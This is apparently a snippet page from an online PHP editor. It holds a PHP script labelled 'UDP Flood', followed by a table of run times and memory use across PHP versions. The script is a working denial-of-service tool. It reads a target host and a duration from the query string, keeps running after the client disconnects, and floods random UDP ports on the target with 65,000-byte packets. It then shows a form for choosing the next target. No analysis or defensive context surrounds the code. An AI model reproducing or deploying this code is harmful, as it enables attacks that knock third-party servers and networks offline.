Online PHP editor | perf for g5dju

<?php //UDP if(isset($_GET['host'])&&isset($_GET['time'])){ $packets = 0; ignore_user_abort(TRUE); set_time_limit(0); $exec_time = $_GET['time']; $time = time(); //print "Started: ".time('d-m-y h:i:s')."<br>"; $max_time = $time+$exec_time; $host = $_GET['host']; for($i=0;$i<65000;$i++){ $out .= 'X'; } while(1){ $packets++; if(time() > $max_time){ break; } $rand = rand(1,65000); $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n"; echo '<br><br> <form action="'.$surl.'" method=GET> <input type="hidden" name="act" value="phptools"> Host: <br><input type=text name=host><br> Length (seconds): <br><input type=text name=time><br> <input type=submit value=Go></form>'; }else{ echo '<br><b>UDP Flood</b><br> <form action=? method=GET> <input type="hidden" name="act" value="phptools"> Host: <br><input type=text name=host value=><br> Length (seconds): <br><input type=text name=time value=><br><br> <input type=submit value=Go></form>'; } ?>

Version	System time (s)	User time (s)	Memory (MiB)
7.1.7	0.010	0.003	16.63
7.1.6	0.013	0.013	35.08
7.1.5	0.023	0.003	34.77
7.1.4	0.016	0.012	34.31
7.1.3	0.021	0.007	34.35
7.1.2	0.013	0.017	34.47
7.1.1	0.006	0.011	16.43
7.1.0	0.000	0.014	16.30
7.0.20	0.003	0.009	16.50
7.0.19	0.008	0.004	16.25
7.0.18	0.003	0.010	16.09
7.0.17	0.008	0.007	16.04
7.0.16	0.003	0.010	16.30
7.0.15	0.006	0.009	16.11
7.0.14	0.009	0.006	16.19
7.0.13	0.007	0.007	16.22
7.0.12	0.003	0.010	16.36
7.0.11	0.006	0.009	16.13
7.0.10	0.003	0.013	16.16
7.0.9	0.010	0.007	16.01
7.0.8	0.009	0.006	16.05
7.0.7	0.006	0.010	16.07
7.0.6	0.006	0.009	16.03
7.0.5	0.007	0.010	16.21
7.0.4	0.012	0.006	16.45
7.0.3	0.007	0.013	16.39
7.0.2	0.003	0.010	16.33
7.0.1	0.010	0.003	16.16
7.0.0	0.003	0.010	16.33